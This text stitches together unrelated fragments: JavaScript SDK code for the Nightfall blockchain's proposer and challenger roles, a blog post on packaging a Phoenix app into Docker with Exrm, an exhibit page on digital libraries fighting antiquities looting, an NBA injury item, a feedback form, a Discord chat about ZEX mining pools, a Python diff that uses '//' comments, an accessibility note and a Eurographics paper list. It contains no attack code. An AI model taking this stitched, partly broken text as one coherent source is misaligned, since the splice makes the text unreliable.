@async
@param {string} peerUrl - the URL of the Proposer being added. This will be from
the point of view of nightfall-client, not the SDK user (e.g. 'http://optimist1:80').
Nightfall-client will use this URL to contact the Proposer.
*/
async addPeer(peerUrl) {
if (!this.ethereumAddress)
throw new Error('Cannot add peer if the Ethereum address for the user is not defined');
// the peerUrl is from the point of view of the Client e.g. 'http://optimist1:80'
return axios.post(`${this.clientBaseUrl}/peers/addPeers`, {
address: this.ethereumAddress,
enode: peerUrl,
});
}
/**
Starts a Proposer that listens for blocks and submits block proposal
transactions to the blockchain.
@method
@async
*/
async startProposer() {
const connection = new WebSocket(this.optimistWsUrl);
this.websockets.push(connection); // save so we can close it properly later
connection.onopen = () => {
connection.send('blocks');
};
connection.onmessage = async message => {
const msg = JSON.parse(message.data);
const { type, txDataToSign } = msg;
if (type === 'block') {
await this.submitTransaction(txDataToSign, this.stateContractAddress, this.BLOCK_STAKE);
}
};
// add this proposer to the list of peers that can accept direct transfers and withdraws
}
/**
Returns an emitter, whose 'data' event fires whenever a block is
detected, passing out the transaction needed to propose the block. This
is a lower level method than `Nf3.startProposer` because it does not sign and
send the transaction to the blockchain. If required, `Nf3.submitTransaction`
can be used to do that.
@method
@async
@returns {Promise} A Promise that resolves into an event emitter.
*/
async getNewBlockEmitter() {
const newBlockEmitter = new EventEmitter();
const connection = new WebSocket(this.optimistWsUrl);
this.websockets.push(connection); // save so we can close it properly later
connection.onopen = () => {
connection.send('blocks');
};
connection.onmessage = async message => {
const msg = JSON.parse(message.data);
const { type, txDataToSign } = msg;
if (type === 'block') {
newBlockEmitter.emit('data', txDataToSign);
}
};
return newBlockEmitter;
}
/**
Registers our address as a challenger address with the optimist container.
This is so that the optimist container can tell when a challenge that we have
committed to has appeared on chain.
@method
@async
@return {Promise} A promise that resolves to an axios response.
*/
async registerChallenger() {
return axios.post(`${this.optimistBaseUrl}/challenger/add`, { address: this.ethereumAddress });
}
/**
Starts a Challenger that listens for challengable blocks and submits challenge
transactions to the blockchain to challenge the block.
@method
@async
*/
async startChallenger() {
const connection = new WebSocket(this.optimistWsUrl);
this.websockets.push(connection); // save so we can close it properly later
connection.onopen = () => {
connection.send('challenge');
};
connection.onmessage = async message => {
const msg = JSON.parse(message.data);
const { type, txDataToSign } = msg;
if (type === 'challenge') {
await this.submitTransaction(txDataToSign, this.stateContractAddress, 0);
}
};
}
/**
Returns an emitter, whose 'data' event fires whenever a challengeable block is
detected, passing out the transaction needed to raise the challenge. This
is a lower level method than `Nf3.startChallenger` because it does not sign and
send the transaction to the blockchain. If required, `Nf3.submitTransaction`
can be used to do that.
@method
@async
@returns {Promise} A Promise that resolves into an event emitter.
*/
async getChallengeEmitter() {
const newChallengeEmitter = new EventEmitter();
const connection = new WebSocket(this.optimistWsUrl);
this.websockets.push(connection); // save so we can close it properly later
connection.onopen = () => {
connection.send('blocks');
};
connection.onmessage = async message => {
const msg = JSON.parse(message.data);
const { type, txDataToSign } = msg;
if (type === 'challenge') {
newChallengeEmitter.emit('data', txDataToSign);
}
};
return newChallengeEmitter;
}
/**
Returns the balance of tokens held in layer 2
@method
@async
@returns {Promise} This promise rosolves into an object whose properties are the
addresses of the ERC contracts of the tokens held by this account in Layer 2. The
value of each propery is the number of tokens originating from that contract.
*/
async getLayer2Balances() {
const res = await axios.get(`${this.clientBaseUrl}/commitment/balance`);
return res.data.balance;
}
}
export default Nf3;


| categories:development
Using Phoenix with docker, Addendum: Exrm
This is an addendum to a three part series: Part 1 - Part 2 - Part 3
Contents
- Bad ideas
- Exrm
- Using Exrm with Kitteh
- Building the docker image(s) - once more.
- Assets
- Wait! Migrations!
- The problem with Mix.env
- So, we’re going to ignore ImageMagick?
- Conclusion
Bad ideas
I have had some bad ideas in the past - building a container out of a Phoenix application like building it out of a Rails application wasn’t probably the best idea ever.
After all, you never ship your source code into production when using a compiled language.
Regardless, I worked with Golang before - the ability to build a self-contained, static binary is great there. And super useful, if you want to use the scratch
container that docker
offers to build a very minimal image that does not exceed, let’s say, 15MB.
Exrm
Elixir offers the possibility of using a library called Exrm, the Elixir release manager. It has the self proclaimed goal to make Elixir deployments very easy and delightful to work with.
What happens is that Exrm will build a self-contained artifact, which can be deployed more easily and integrates with a lot of features that Erlang already provides, like versioning or hot deployments.
Using Exrm with Kitteh
Let’s add it as a dependency:
# /mix.exs
# [...]
defp deps do
[{:phoenix, "~> 1.0.2"},
{:phoenix_ecto, "~> 1.1"},
{:postgrex, ">= 0.0.0"},
{:phoenix_html, "~> 2.1"},
{:phoenix_live_reload, "~> 1.0", only: :dev},
{:cowboy, "~> 1.0"},
{:mogrify, "~> 0.2"},
{:exrm, "~> 1.0"}]
end
and run mix deps.get
.
Since this will be a production release, we need to tweak the prod.exs
configuration a bit:
# /config/prod.exs
# [...]
config :phoenix, :serve_endpoints, true
Note that for testing purposes I also changed the hostname to localhost
throughout the configuration.
Building the docker image(s) - once more.
Ideally, we can now copy over the release into our docker container instead of copying everything over and then compiling it inside.
But wait - this also means that we now need a build environment to build our releases, compile our assets, etc. For simplicity, I am going to use the host machine (my laptop) as the build environment.
To reduce the overhead in the docker file, I introduced a build-docker.sh
file that builds the web application image, as well as the attached images.
The docker-compose.yml
will then pick up the images by the tags generated by this build file.
The agony with build environments
To keep the image contents to a minimum I decided to use the msaraiva/alpine-erlang
image as a base and work from that. There is an excellent description on how to use this image as a base for a Phoenix application in the repository for the image.
One problem I ran into was that I use Ubuntu with the latest Erlang environment (18.2) while the current base image uses erlang:18.1
as it’s environment, leading to sideeffects, like:
{"init terminating in do_boot",{'cannot load',error_handler,get_files}}
when trying to run the created image.
Using alpine:edge
resolves the problem.
Unfortunately, this is a mojor disadvantage in the build chain at the moment. The target container must provide the same environment as the build system provides, otherwise there will be no guarantee of this working.
Here is the full Dockerfile
:
FROM alpine:edge
RUN apk --update add erlang erlang-sasl erlang-crypto erlang-syntax-tools && rm -rf /var/cache/apk/*
ENV APP_NAME kitteh
ENV APP_VERSION "0.0.1"
ENV PORT 4000
RUN mkdir -p /$APP_NAME
ADD rel/$APP_NAME/bin /$APP_NAME/bin
ADD rel/$APP_NAME/lib /$APP_NAME/lib
ADD rel/$APP_NAME/releases/start_erl.data /$APP_NAME/releases/start_erl.data
ADD rel/$APP_NAME/releases/$APP_VERSION/$APP_NAME.sh /$APP_NAME/releases/$APP_VERSION/$APP_NAME.sh
ADD rel/$APP_NAME/releases/$APP_VERSION/$APP_NAME.boot /$APP_NAME/releases/$APP_VERSION/$APP_NAME.boot
ADD rel/$APP_NAME/releases/$APP_VERSION/$APP_NAME.rel /$APP_NAME/releases/$APP_VERSION/$APP_NAME.rel
ADD rel/$APP_NAME/releases/$APP_VERSION/$APP_NAME.script /$APP_NAME/releases/$APP_VERSION/$APP_NAME.script
ADD rel/$APP_NAME/releases/$APP_VERSION/start.boot /$APP_NAME/releases/$APP_VERSION/start.boot
ADD rel/$APP_NAME/releases/$APP_VERSION/sys.config /$APP_NAME/releases/$APP_VERSION/sys.config
ADD rel/$APP_NAME/releases/$APP_VERSION/vm.args /$APP_NAME/releases/$APP_VERSION/vm.args
EXPOSE $PORT
CMD trap exit TERM; /$APP_NAME/bin/$APP_NAME foreground & wait
Results!
However, using the same versions everywhere should result in a new docker image for our application:
docker images | grep kitteh
should yield:
kitteh/prod 0.0.1 a9c2a80abfe1 35 seconds ago 28 MB
Nice, that is way better when it comes down to size for the image.
Assets
Since the web application image now completely ignores any asset containers, we need to add these in the build process, more specifically, in the build-docker.sh
:
# [...]
# assets
MIX_ENV=prod mix phoenix.digest
docker build -f Dockerfile.assets -t kitteh/assets:0.0.1 .
This will create another image called kitteh/assets
. While we’re at it, let’s change the docker-compose.yml
to make use of the images, which incidentally would allow us to use the version 1 of the YAML-syntax again, if we wanted to.
Wait! Migrations!
A downside of the compiled approach we’re now taking is the fact that migrations are no longer part of the kitteh/web
image, as the priv/repo/migrations
folder gets dismissed at build (not really, but Mix
is no longer available to us).
One solution to this comes from a discussion in the exrm repository: Running the migrations whenever the server comes up using the Ecto.Migrator
API directly.
A second option I found was proposed by Github user @mschu - using an Exrm-Plugin to generate an escript
file that would in turn load an Elixir module to run the migrations - again, via Ecto.Migrator
.
A demo for the second solution can be found as a gist here.
However, after toying with the second option I found that the first one would be the one to go for (I couldn’t get the escript solution to run).
The argumentation for the second solution is that migrations are idempotent anyway and can always be run on startup.
I disagree - running the migrations should be a separate task. You may want to control the point of time precisely and not just migrate upon every restart. But for now it should suffice.
The problem with Mix.env
We’re not using Mix.env
anymore in production, so shenanigans like:
Mix.env == :prod
will now fail. Luckily, we can check on the environment directly:
System.get_env("MIX_ENV") == "prod"
It’s a subtle thing, but running the application will fail because of that.
So, we’re going to ignore ImageMagick?
By now, looking at the latest commit, the application should run again.
We will run into a subtle crash in the background, when we’re trying to upload a picture anyway:
web_1 | =CRASH REPORT==== 7-Mar-2016::16:21:31 ===
web_1 | crasher:
web_1 | initial call: Elixir.Kitteh.PageController:-create_sizes/1-fun-0-/0
web_1 | pid: <0.1145.0>
web_1 | registered_name: []
web_1 | exception exit: {enoent,
web_1 | [{'Elixir.System',cmd,
web_1 | [<<"mogrify">>,
web_1 | [<<"-resize">>,<<"90">>,
web_1 | <<"/tmp/177012-DaintyTanCyprus.jpeg">>],
web_1 | [{stderr_to_stdout,true}]],
web_1 | [{file,"lib/system.ex"},{line,450}]},
web_1 | {'Elixir.Mogrify',resize,2,
web_1 | [{file,"lib/mogrify.ex"},{line,60}]},
web_1 | {'Elixir.Kitteh.PageController',resize,3,
web_1 | [{file,"web/controllers/page_controller.ex"},
web_1 | {line,105}]},
web_1 | {'Elixir.Kitteh.PageController',
web_1 | '-create_sizes/1-fun-0-',3,
web_1 | [{file,"web/controllers/page_controller.ex"},
web_1 | {line,93}]},
web_1 | {'Elixir.Task.Supervised',do_apply,2,
web_1 | [{file,"lib/task/supervised.ex"},{line,89}]},
web_1 | {proc_lib,init_p_do_apply,3,
web_1 | [{file,"proc_lib.erl"},{line,240}]}]}
web_1 | in function 'Elixir.Task.Supervised':exit/4 (lib/task/supervised.ex, line 120)
Yep, no ImageMagick in the Base Image.
Let’s fix that:
# Dockerfile
# [...]
RUN apk --update add erlang erlang-sasl erlang-crypto erlang-syntax-tools imagemagick && rm -rf /var/cache/apk/*
After this change, the images should be properly resized in the background again, but we bloated our image to 37MB.
Conclusion
If you skipped directly to my conclusion, please see the tag 10-imagemagick-finally
for the codebase at the end of this article.
So - I think we are a little bit better off with this approach:
- Smaller image size for the main
web
image - Detached build process for the images (not completely, one could move the
uploads
nginx image over or merge it with theassets
image) - Ability to downgrade docker-compose if we wanted to
There are some downsides though:
- Running migrations is currently tied to the server directly
- Configuration is not completely independent from the application - as of now, your admin needs to be able to read and write Elixir
- The assets are immutable and have to be rebuilt each time, however, this allows for independent versioning for the assets
- The app version is hard coded - one could extract it from
mix.exs
, if ones beard is long enough
While looking at this process in general, I must also say that running Elixir in docker containers does not work towards the microservice approach, the images all need to have the full run time environment and it might be better to use the abstraction for applications and processes that the Erlang VM provides directly.
If you find yourself having to integrate a service based on Elixir or Erlang in an existing environment, this might be an option for you after all.


--- layout: exhibit title: The DLME and Cultural Heritage Preservation subline: background_url: /images/bent-pyramid-cover.jpg permalink: /the-dlme-and-cultural-heritage-preservation/ author: Peter Herdrich and Katie Paul dropbox: https://www.dropbox.com/sh/hzacfqheoix12b4/AAA8D8ORRhJbBbCDrQ6RKQuVa?dl=0 affiliation: ---
The Digital Library of the Middle East (DLME) is designed to provide global access to significant collections of cultural heritage material from around the world. Accompanying that important service is a critical cultural heritage preservation effort. By providing inventories, cataloguing and documenting objects, and digitizing records, the DLME directly supports the worldwide effort to combat looting and the illicit trade in cultural heritage objects and pushes back against the forces that would plunder our culture to finance terror and oppress people.
Inventories allow museum and library directors to know exactly what they have in case of catastrophic loss. Digitization and federation into the DLME makes records available to law enforcement colleagues around the world. Cataloguing provides provenance information to investigators and the art market. And photographic and 3D documentation allow for identification of objects that have disappeared due to illicit trafficking.
This exhibit explains how the DLME works with partners around the world to help preserve and protect our shared cultural heritage.
Providing concrete documentation is one of the first challenges in trying to stop the sale of looted cultural objects. The impact is amplified when documentation is digitized and made accessible online. By providing a platform for inventories of digitized cultural heritage databases, the DLME helps secure collections and assists international law enforcement protect artifacts from trafficking by making those objects readily identifiable and records readily accessible.
In 2015, US Special Forces conducted a raid deep in Syria against ISIS commander Abu Sayyaf. Found in the operation was a stash of artifacts and paperwork that government sources say conclusively proves that ISIS was trafficking antiquities to fund its operations. Among the finds were objects that included registration numbers from the Mosul Museum that were looted by the terrorists. Because the museum had inventoried and clearly marked the objects, they were easily identifiable and repatriated to the Iraqi government.
The Digital Library of the Middle East is providing an on the ground solution that directly support the efforts of United Nations member states and affiliate organizations. UN Security Council Resolution 2347, passed in March 2017, sets forth a number of well-considered steps for cultural heritage preservation. It suggests digitized documentation as a first step for Member States to take by:
“...Introducing or improving cultural heritage and properties’ local and national inventory lists, including through digitalized information when possible, and making them easily accessible to relevant authorities and agencies, as appropriate.”
The DLME actively encourages new inventory and digitization projects through joint fundraising collaborations with Middle Eastern partners. These newly inventoried and digitized collections become easily accessible through the DLME digital platform, directly implementing this UN mandate.
In 2003 when the Iraq National Museum in Baghdad was looted, thousands of artifacts went missing. Artifacts excavated from famous archaeological expeditions like the excavations of Ur in Iraq in the 1920s fell victim to the looting. Fortunately, documentation of objects has not only helped law enforcement search for items, but track them down for return.
Documentation in the DLME is not just a valuable tool for countries to prove ownership of an item, it can also serves as evidence for prosecutors bringing charges in illicit trafficking and other criminal cases. Comparing forfeited or seized materials with documented artifacts like those found in the Digital Library of the Middle East can provide evidence to support law enforcement.
In 2006, the United States returned the 4,400 year old statue of the Sumerian King Entemena of Lagash to Iraq after the artifact appeared in the FBI’s Top Ten Art Crimes. Documentation of this artifact and the sharing of information through the FBI Art Crime Unit helped secure the statue’s safe return.
Another way the DLME can help is with customs enforcement. Because the database is readily available on smartphones and tablets, customs officials around the world can check comparable photographic records and look for similar objects when they are faced with a questionable import. Stylistic similarity can alert officials to seek expert guidance in establishing the legality of imported objects.
The DLME also provides provenance records when available. These show the history of ownership and when, how, and from whom an artifact was acquired. It helps establish that an artifact is not a forgery, been altered, or was looted and illicitly trafficked. These data are critical for the investigator and the art market by helping to establishing legitimate ownership of materials.
Documentation is especially important for objects that are often at risk during conflict. In 1967, French archaeologist Maurice Dunand discovered the Sidon Bull’s Head at the Temple of Eshmun in Lebanon and turned over to the national government. As Lebanon’s civil war widened in 1979, the artifact was taken to an underground bunker for safekeeping where it stolen. After surfacing on the U.S. market and being acquired by American collectors, the Bull’s Head was loaned to the Metropolitan Museum of Art, which was unaware that it was stolen property. But Dunand had catalogued and photographed the find, and in 2010, his documentation was handed over to the Lebanese government. Met Museum Director Thomas Campbell notified Lebanon that they had matched the Bull’s Head to the Dunand archives. The Manhattan District Attorney seized the artifact in the summer of 2017, it was repatriated to Lebanon later the same year.
UNESCO advocates the value of access to one’s heritage and history as a human right. Much of that personal history exists in the kind of records that so many families and communities maintain - birth certificates, family trees, deeds and government records, religious materials, and photographs. For many displaced people in the Middle East, especially in conflict zones, these records are under threat from destruction caused by conflict.
The scourge of looting and illicit trafficking affects manuscripts and other library collections as well. Katie Paul of the Antiquities Coalition has identified social networking sites that offer books and manuscript materials for sale from users across the Middle East and North Africa. The lack of provenance and nature of the sale and communications suggests that the material is stolen.
These infographics developed by the Antiquities Coalition provide a summary of how databases like the DLME combat looting.
The Digital Library of the Middle East focuses on materials from the MENA region and gratefully federates any appropriate collection of Middle Eastern content from any region of the world. However, we are not alone in recognizing the importance of inventories, digitization, and access. Digital Libraries throughout the world are building collections with the goals of access to important information and of securing collections.
Our report, Implementing United Nations Security Council Resolution 2347: The Critical Role of Digital Libraries was submitted to UNESCO and reports on a sample of major international digital libraries and their exemplary work of international cooperation and cultural heritage preservation.
With the Digital Library of the Middle East, we are implementing a solution that will help protect collections, fight against cultural racketeering, and provide resources to help increase security and reduce risk for cultural heritage material at risk. The value of our shared cultural heritage is inestimable. And nowhere is that more evident than in the Middle East. In this short video from the Antiquities Coalition, Iraqi Foreign Minister Ibrahim al-Jafaari eloquently expresses how cultural heritage can unite people the world over, offering words that inspire all who collaborate to preserve our past.


{% comment %} This box is shown if the article is part of a series. This box should always be the FIRST aside that appears on the page. {% endcomment %}


Zion Williamson On Pace For Mid-December Return
by Austin KentIt’s been one month since the New Orleans Pelicans revealed that Zion Williamson would be sidelined for six-to-eight weeks while recovering from knee surgery.
Now, TNT’s Reggie Miller confirms that the big man’s recovery is right on track to get back on the court in mid-December.
The No. 1 pick in the 2019 NBA Draft dominated preseason but was ruled out of the team’s final exhibition match and hasn’t seen regular season action at all.
Miller’s revelation came shortly after he speculated that the first-year forward could potentially miss the entire 2019-20 season.
Miller, of course, was courtside commentating on a Pelicans game and could have been corrected by somebody within the organization after broadcasting his more pessimistic “gut feeling”.
There have been no shortage of hot takes regarding Williamson’s injury, many of which center around the idea that he’s too heavy for his playing style. The team has emphatically denied that his weight has anything to do with the injury.


Feedback Form
Let me know how I can improve as a developer!
Your basic info
Name: (Can enter "Anonymous")
Email: (Can enter<EMAIL_ADDRESS>Job role:
Front-End Developer
Back-End Developer
PHP Developer
Rails Developer
WordPress Developer
Web Designer
Android Developer
iOS Developer
Mobile Designer
Your assessment
Would you advance me to the next round (e.g. onsite)?
Yes
No
On a scale of 1-5, 5 being excellent, how are my technical skills?
1
2
3
4
5
On a scale of 1-5, how is my problem solving ability?
1
2
3
4
5
On a scale of 1-5, how is my communication ability?
1
2
3
4
5
On a scale of 1-10, 10 being highly prepared, how prepared am I for a junior developer role?
Your recommendations
Which area, in your opinion, is more important to work on?
Projects (contribute to open source, side projects)
Technical interview skills (algorithms)
Which area, in your opinion, is more important to master?
HTML & CSS
JavaScript
Which technologies do your company use? (Check all that apply):
Languages
JavaScript
SQL
PHP
Java
Python
C#
C++
C
TypeScript
Ruby
Swift
Frameworks & Libraries
Databases
Tools
Help me get better!
Submit


Great! @Mixic please discuss with @Lalobo regarding the translation bounty. He is managing the campaign.
1
Lalobo30-Nov-18 10:04 AM
Hello everyone, very soon we will post a bounty campaign announcement on BTT.
Will post here a link for you all to see the requirements and the details.
@Mixic send me a PM please.
Cheers
3
Mixic30-Nov-18 10:23 AM
Will you have a bounty campaign on BTT?
Lalobo03-Dec-18 07:01 AM
@everyone For now we alredy have #chinese#vietnamese#russian translations
But the #korean is still pending
Please, if you are able to assist with korean translation PM me
BTT translation campaign link: https://bitcointalk.org/index.php?topic=5078138.msg48398893#msg48398893
Cheers(edited)
Hi All. We want to start with a big thank you for believing in us early. Its been an amazing few weeks. We have been in contact with 3 of the top 10 exchanges relating to listing and we have an agreement already in place. However, this isnt a cheap process by any means, so we are determining how to raise the funds over the next 48 hours. This is testament that others see the value this project can bring and we have begun discussions with a number of other industry partners too. Please stay tuned for further updates.
ph03nix05-Dec-18 12:29 PM
so we are determining how to raise the funds over the next 48 hours
founders fee
Machgielis05-Dec-18 12:39 PM
There isnt enough liquidity in the coin yet. There will be a partial payment in treasury coins from the founders fee but there is a substantial BTC requirement too. This is what we are working on now.
3
SHossain12-Dec-18 02:57 PM
@zaddex are the ZEX pools updated?
Who operates ZEX pool?
zaddex12-Dec-18 03:05 PM
Hi Hossain, there are a few pools for ZEX including @That_Guy8@blackjok3r@Laviathon -bcmonster.com and @forkwitch I believe.
Laviathon -bcmonster.com12-Dec-18 03:06 PM
We are on the new wallet.
jl777c12-Dec-18 03:06 PM
we need to make sure all are updated with sapling support very soon
otherwise not only will they go on a fork, they will keep the old chain alive
and having a competing chain is always a bit messy
That_Guy812-Dec-18 03:19 PM
What’s the timeframe?
jl777c12-Dec-18 03:22 PM
Dec 15th 1am UTC
That_Guy812-Dec-18 03:33 PM
Did I blatantly overlook this ann? Haha anywho I shall be ready will get sorted tomorrow.
Laviathon -bcmonster.com12-Dec-18 04:23 PM
I don’t know about the stratum protocol.
If we are on the wallet but the coin does not change. I’m guessing we will be ok.
I know kmd had to do a node modules update.
jl777c12-Dec-18 04:28 PM
the komodod daemon needs to be updated and there is also new pool software changes needed to support tx version 4
ComputerGenie 👴👴👴12-Dec-18 04:38 PM
I don’t know about the stratum protocol.
It's not really the "protocol" that needs changed, but since nomp and all forks of it incorporate a transaction library into the stratum module, all such forks did/do need a stratum module update(edited)
SHossain12-Dec-18 05:14 PM
@zaddex i have these 4 pools in the list. @Laviathon -bcmonster.com@blackjok3r@forkwitch@That_Guy8 please let me know once your pool is sapling ready for ZEX.(edited)
1
Laviathon -bcmonster.com12-Dec-18 05:35 PM
@SHossain we’re ready
1
SHossain12-Dec-18 05:36 PM
Thanks @Laviathon -bcmonster.com
i hope that your PIRATE pool is ready too
Laviathon -bcmonster.com12-Dec-18 05:51 PM
Check it off
SHossain12-Dec-18 05:57 PM
fantastic. will do. thanks for your prompt response
Laviathon -bcmonster.com12-Dec-18 06:17 PM
As of right now I’m using black jokers . I don’t know if he is working on an update. Would love to get the coin Merged into s-nomp get some more publicity.
ComputerGenie 👴👴👴12-Dec-18 06:43 PM
afaik, jokers "shouldn't" need any major update because of his work-around in how it creates blocks
as for putting it into s-nomp (rather than his implementation of z-nomp), I think that's a non-starter because of the reworking of payouts due to that same workaround
Am I wrong @blackjok3r ?(edited)
Mining pool software for all equihash coins. Contribute to s-nomp/s-nomp development by creating an account on GitHub.
I think it would do away with the mods he has implemented bypassing the Coinbase.
ComputerGenie 👴👴👴12-Dec-18 08:15 PM
@Laviathon -bcmonster.com for joker's version it's far more than just config (his has the ability to take pool % from the coinbase tx removed)
Laviathon -bcmonster.com12-Dec-18 08:16 PM
Yea it just stops him from breaking the block on discovery.
ComputerGenie 👴👴👴12-Dec-18 08:16 PM
it needs a new payment system to store and account for the difference
which also involves redis db changes
Laviathon -bcmonster.com12-Dec-18 08:23 PM
@ComputerGenie 👴👴👴 I’m talking about making it an s-nomp coin.
ComputerGenie 👴👴👴12-Dec-18 08:27 PM
oh, I thought that your comment tagging me was in reference to my comment immediately above it
-----
I'm not sure about the "official" s-nomp, but I know that miketout's fork of it does work and the only config change off the top of my head is setting sapling height(edited)
--------
My earlier comment about s-nomp was in relation to merging joker's cb format with s-nomp and that's where my head was at in the responses
joker's format of implementing a usage of the daemon blocktemplate is because there isn't currently a transaction library that supports many of the assetchain features available and his is the current best public method for supporting the most assetchains in total
Alright12-Dec-18 08:42 PM
@ComputerGenie 👴👴👴 I believe joker has pool fee working with his implementation
just in a very different way than typical nomp payment processing
ComputerGenie 👴👴👴12-Dec-18 08:43 PM
I thought he said he had, but my point was that afaik he used z-nomp as the base, which would create a ton of work to port into s-nomp(edited)
Alright12-Dec-18 08:44 PM
really just boils down to whether or not we support s-nomp or knomp
or both?
not sure s-nomp would accept the changes
ComputerGenie 👴👴👴12-Dec-18 08:45 PM
well, it's no secret that my answer is "neither"
Alright12-Dec-18 08:45 PM
it's backwards compatible, but is a drastic change from typical stratum
@ComputerGenie 👴👴👴 and what do you suggest?
ComputerGenie 👴👴👴12-Dec-18 08:46 PM
the same as I've said for a yr now:
"we need to start from the ground up and make a Komodo product for Komodo"
since I'm alone in that voice, it's at least 6 months out
Laviathon -bcmonster.com12-Dec-18 11:33 PM
S-nomp and its dependencies will work. It’s sapling enabled already. Just need the coin config right I believe.
Alright12-Dec-18 11:51 PM
@Laviathon -bcmonster.com just needs a bit of a tweak for the founder's reward
Laviathon -bcmonster.com13-Dec-18 03:28 AM
@Alright besides just getting the coin config ironed out for the founders reward?
Alright13-Dec-18 03:29 AM
should work if that does P2PKH at the exact amount in last coinbase vout(edited)
I've been using joker's work around to make the daemon produce the coinbase, haven't tested existing founder's reward setups
you can also edit transactions.js to make it pay the exact amount
blackjok3r13-Dec-18 03:54 AM
My pool needs a slight update to be sapling ready.
It needs to reecognise the new parmeter in getblocktemplate hashReserved
the repo my pool is in, already has the change. I will go update my pool soon.
Laviathon -bcmonster.com13-Dec-18 06:39 AM
@blackjok3r ty. I appreciate you doing this.
blackjok3r13-Dec-18 08:14 AM
No worries.
SHossain15-Dec-18 12:40 AM
ZEX transition at 45870 (45869,<PHONE_NUMBER>) -> (45870,<PHONE_NUMBER>)
SET SAPLING ACTIVATION height.45930
ZEX sapling activation at 45930
blackjok3r15-Dec-18 12:47 AM
Watching the pool like a hawk
somehow my print outs have gone garbled .. cant read the nomp
blackjok3r15-Dec-18 02:12 AM
My pool is mining and paying out after sapling activation
jl777c16-Dec-18 08:44 PM
somebody has 22'900 ZEX in sprout zaddr. please convert this to taddr ASAP
zaddex23-Dec-18 12:39 PM
Hi all, the team is working diligently and Zaddex exchange will soon enter the User Acceptance Testing (UAT) phase. This is a critical step and we’ll be inviting some of you to join the private testing team. So stay tuned as will be publishing a detailed project update with more information on our progress in the coming days. Thank you!
@Captain_Jack Of course ... Thank you. As soon as the basic information, then everyone will know
Regnar26-Dec-18 12:32 AM
Submitted the Circulating supply API endpoint to Coinpaprika in order to update this information.
https://coinpaprika.com/coin/zex-zaddex/
Which should give Zaddex a market cap and move it among the rankings.
Several of the top #exchanges by volume have reached out to #Zaddex for the #ZEX #coin to be #listed and negotiations are currently in progress. In the meantime the coin can be purchased on https://t.co/clL4voP3AP and obtained through #mining with one of pools.
@zaddex_e...
Regnar27-Dec-18 04:12 PM
Just checked and it appears coinpaprika accepted the API endpoint I submitted, Zaddex officially has a calculated market cap there. :D
https://coinpaprika.com/coin/zex-zaddex/
1
1
Mylo29-Dec-18 05:32 AM
6% supply, early days. so cool.
AkiraX29-Dec-18 09:46 AM
?
Mylo30-Dec-18 11:13 AM
coinpaprika link.
Strob06-Jan-19 09:17 PM
Hi, when I try to send ZEX from my transparent address to my zs sapling address, I get error: invalid ZEX address. (agama 0.3.2a, windows) also when sending from a transparent addres to another transparent one, it creates a new address and leaves some zex there. I have 1 zex in suc address and it seems impossible to send it.
On Feb 15th #ZEX will become taddr only. If you are still holding ZEX in a zaddr please transfer to a taddr. Thank you
15 февраля ZEX станет только taddr адресом. Если вы все еще держите ZEX в zaddr, пожалуйста, ...
wookie10-Jan-19 08:04 PM
when we say taddress, that's a Rxxxxx address, right? If I've had my ZEX in an R address all this time, I do not need to do anything?(edited)
CHMEX10-Jan-19 08:06 PM
If you currently have it in your R address its all good. Just dont move it to shielded zc or zs addresses.
wookie10-Jan-19 08:07 PM
Thanks!
CHMEX10-Jan-19 08:07 PM
There is nothing shielded on ZEX anymore.
1
EC17-Jan-19 09:37 AM
Anyone know if payments stuck @ ginasis pool?
blackjok3r17-Jan-19 10:50 AM
they could be... he seems to have had errors with that from the start. My pool has only been restarted the one single time. To upgrade to sapling. Still no problems there. Really is surpriseing... I hacked it together in a few hours and its never gone down.
EC17-Jan-19 11:02 AM
@blackjok3r whats your pool?
Found it
blackjok3r17-Jan-19 11:03 AM
tbh I dont know... its just an IP address... I think its in the pins


Before Change
for model in pretrained_model_list():
if "i3d" in model: continue // 3D model do not support it now, skip. Data shape is 5D.
print("exporting:", model)
kwargs = {"data_shape":(480, 480, 3)} if "deeplab" in model or "psp" in model else {}
if "_gn" in model:
continue
try:
gcv.utils.export_block(model, gcv.model_zoo.get_model(model, pretrained=True), **kwargs)
After Change
for model in pretrained_model_list():
print("exporting:", model)
if "deeplab" in model or "psp" in model:
// semantic segmentation models require fixed data shape
kwargs = {"data_shape":(480, 480, 3)}
elif "3d" in model:
// video action recognition models require 4d data shape
kwargs = {"data_shape":(3, 32, 224, 224), "layout":"CTHW", "preprocess":None}
elif "slowfast_4x16" in model:
// video action recognition models require 4d data shape
kwargs = {"data_shape":(3, 36, 224, 224), "layout":"CTHW", "preprocess":None}
elif "slowfast_8x8" in model:


Web Chat Static
The purpose of this implementation is not to reference a particular module, since there is none specific to chat, but rather, to demonstrate how easy it is to make web chat functionality accessible for screen reader users:
- Activate the Chat button to open the chat dialog.
- Focus will be set on the chat message field after it opens.
- Type a message and press Enter to send.
- Incoming messages will be announced to screen reader users automatically. (Supported in all modern screen readers that correctly support the use of ARIA, foremost of these are: JAWS, NVDA, and Voiceover)
- Keyboard only users can press Shift+Tab from the message field to set focus on the chat window, then use the arrow keys to scroll through the content.
- Activate the Close icon to close the chat dialog.


This page tracks the new paper links made to my list of Eurographics 2015 papers.
Page maintained by Ke-Sen Huang.
If you have additions or changes, send an e-mail.
July 17, 2015
- Woodification: User-Controlled Cambial Growth Modeling
May 20, 2015
- Pixel Merge Unit
- Compressive Image Reconstruction in Reduced Union of Subspaces
- Panoramic Video from Unstructured Camera Arrays
- High-Order Recursive Filtering of Non-Uniformly Sampled Signals for Image and Video Processing
- Hardware-Based Non-Photorealistic Rendering Using a Painting Robot
- Light Chisel: 6DOF Pen Tracking
- Rich-VPLs for Improving the Versatility of Many-Light Methods
- General and Robust Error Estimation and Reconstruction for Monte Carlo Rendering
May 9, 2015
- Approximating Free-form Geometry with Height Fields for Manufacturing
April 19, 2015
- Interactive Diffraction from Biological Nanostructures
April 7, 2015
- Procedural Modelling of Urban Road Networks
(CGF Paper)
- Robust Segmentation of Multiple Intersecting Manifolds from Unoriented Noisy Point Clouds
(CGF Paper)
April 4, 2015
- Inverse Procedural Modelling of Trees
(CGF Paper)
- Interactive Procedural Modelling of Coherent Waterfall Scenes
- PackMerger: A 3D Print Volume Optimizer
(CGF Paper)
- Optimal Spline Approximation via l0-Minimization
March 28, 2015
- Statics Aware Grid Shells
- Designing Camera Networks by Convex Quadratic Programming
- Rich-VPLs for Improving the Versatility of Many-Light Methods
- Object Repositioning Based on the Perspective in a Single Image
(CGF Paper)
- 3D Fabrication of 2D Mechanisms
- Improving Sampling-based Motion Control
- IsoMatch: Creating Informative Grid Layouts
- Interactive Dimensioning of Parametric Models
